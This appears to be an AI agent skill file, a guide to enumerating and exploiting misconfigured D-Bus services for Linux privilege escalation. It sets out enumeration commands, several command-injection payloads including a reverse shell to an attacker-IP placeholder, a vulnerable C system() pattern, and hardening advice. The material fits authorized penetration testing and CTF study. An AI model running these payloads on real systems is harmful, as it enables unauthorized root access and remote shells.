| name | dbus-privilege-escalation |
| description | Enumerate and exploit D-Bus services for local privilege escalation on Linux systems. Use this skill whenever you need to find misconfigured D-Bus services, discover vulnerable methods, or exploit command injection in D-Bus interfaces during authorized security assessments, CTFs, or penetration testing. Trigger this skill for any D-Bus enumeration, service discovery, policy analysis, or exploitation tasks on Linux desktop environments. |
D-Bus Privilege Escalation
A skill for enumerating and exploiting D-Bus services to achieve local privilege escalation on Linux systems.
When to Use This Skill
Use this skill when:
- You have low-privilege access to a Linux system and need to escalate to root
- You're performing authorized security assessments or CTF challenges
- You need to enumerate D-Bus services and their exposed methods
- You suspect misconfigured D-Bus policies or vulnerable services
- You want to analyze D-Bus policy files for security issues
Prerequisites
- Low-privilege shell access to a Linux system with D-Bus installed
- Tools:
busctl, dbus-send, gdbus (usually pre-installed on Ubuntu/Debian)
- Optional:
d-feet for GUI enumeration (sudo apt install d-feet)
- Authorization: Only use on systems you own or have explicit permission to test
Quick Start
busctl list
busctl status <service-name>
busctl tree <service-name>
busctl introspect <service-name> <object-path>
Enumeration Workflow
Step 1: List All Services
busctl list
Look for:
- Services running as root (UID=0 in the USER column)
- Services with activatable status (can be triggered)
- Unusual service names (not standard freedesktop.org services)
Step 2: Analyze Service Details
For each interesting service:
busctl status <service-name>
busctl tree <service-name>
busctl introspect <service-name> <object-path>
Key indicators of potential vulnerabilities:
- UID=0 or EUID=0 (running as root)
- EffectiveCapabilities with dangerous caps (cap_sys_admin, cap_setuid, etc.)
- Methods with string parameters that might be passed to shell commands
- SD_BUS_VTABLE_UNPRIVILEGED flag (no authentication required)
Step 3: Check Policy Files
grep -rE '<allow (own|send_destination|receive_sender)="\*"' /etc/dbus-1/system.d/ /usr/share/dbus-1/system.d/
grep -rB5 'send_destination' /etc/dbus-1/system.d/ | grep -A5 'user="[^root]"'
Look for:
send_destination="*" (anyone can send to this service)
receive_sender="*" (anyone can receive from this service)
- Policies allowing non-root users to interact with root-owned services
Step 4: Monitor D-Bus Traffic (if root)
sudo busctl monitor <service-name>
sudo busctl monitor
sudo busctl capture --output=/tmp/dbus_capture.pcap
Exploitation Patterns
Pattern 1: Command Injection via String Parameters
If a method accepts a string parameter and the service runs as root:
dbus-send --system --print-reply \
--dest=<service-name> \
<object-path> \
<interface>.<method> \
string:';id;'
dbus-send --system --print-reply \
--dest=<service-name> \
<object-path> \
<interface>.<method> \
string:';bash -c "bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1";'
Pattern 2: Python Exploitation
import dbus
bus = dbus.SystemBus()
service_object = bus.get_object('<service-name>', '<object-path>')
service_iface = dbus.Interface(
service_object,
dbus_interface='<interface-name>'
)
payload = ";id;"
response = service_iface.<method_name>(payload)
print(response)
bus.close()
Pattern 3: Using gdbus
gdbus call -y \
-d <service-name> \
-o <object-path> \
-m <interface>.<method> \
"<payload>"
Automated Enumeration Tools
dbusmap ("Nmap for D-Bus")
git clone https://github.com/taviso/dbusmap
cd dbusmap && make
sudo ./dbus-map --dump-methods
sudo ./dbus-map --enable-probes --null-agent --dump-methods
uptux.py
git clone https://github.com/initstring/uptux
cd uptux && pip install -r requirements.txt
python3 uptux.py -n
python3 uptux.py -d
Common Vulnerable Patterns
1. Unrestricted Policy Files
<policy user="*">
<allow send_destination="com.example.service"/>
</policy>
<policy user="*">
<allow own="com.example.service"/>
</policy>
2. Missing Polkit Checks
Services that:
- Run as root on the system bus
- Accept string parameters
- Execute shell commands without validation
- Don't call
polkit_authority_check_authorization()
3. Command Injection in C Code
char command[] = "iptables -A PREROUTING -s %s -j DROP";
sprintf(command_buffer, command, user_input);
system(command_buffer);
Known CVEs to Watch
| CVE | Component | Vulnerability |
|---|
| CVE-2024-45752 | logiops ≤ 0.3.4 | Unrestricted interface allows command injection |
| CVE-2025-23222 | dde-api-proxy ≤ 1.0.18 | Proxy forwards requests as UID 0 |
| CVE-2025-3931 | yggdrasil ≤ 0.4.6 | Public Dispatch method lacks ACLs |
Hardening Recommendations
For System Administrators
-
Audit policy files:
grep -rE '<allow (own|send_destination|receive_sender)="\*"' /etc/dbus-1/
-
Require Polkit for dangerous methods:
- Services should call
polkit_authority_check_authorization_sync()
- Pass caller PID, not service PID
-
Drop privileges:
- Use
sd_pid_get_owner_uid() to verify caller
- Switch to unprivileged user after connecting to bus
-
Scope services:
- Restrict to dedicated Unix groups
- Use specific user policies instead of wildcards
For Developers
-
Never pass user input directly to system():
system(user_input);
execl("/bin/program", "program", validated_input, NULL);
-
Validate all parameters:
- Whitelist allowed values
- Sanitize string inputs
- Use parameterized commands
-
Implement proper authorization:
polkit_authority_check_authorization_sync(
authority,
context,
"com.example.action",
details,
POLKIT_CHECK_AUTHORIZATION_FLAGS_NONE,
&result,
&error
);
Safety Warnings
⚠️ CRITICAL: Only use these techniques on:
- Systems you own
- Systems with explicit written authorization
- CTF/CTF-style challenges
- Your own penetration testing engagements
⚠️ Legal: Unauthorized privilege escalation is illegal in most jurisdictions.
⚠️ Stability: Exploiting D-Bus services can crash the system or break functionality.
References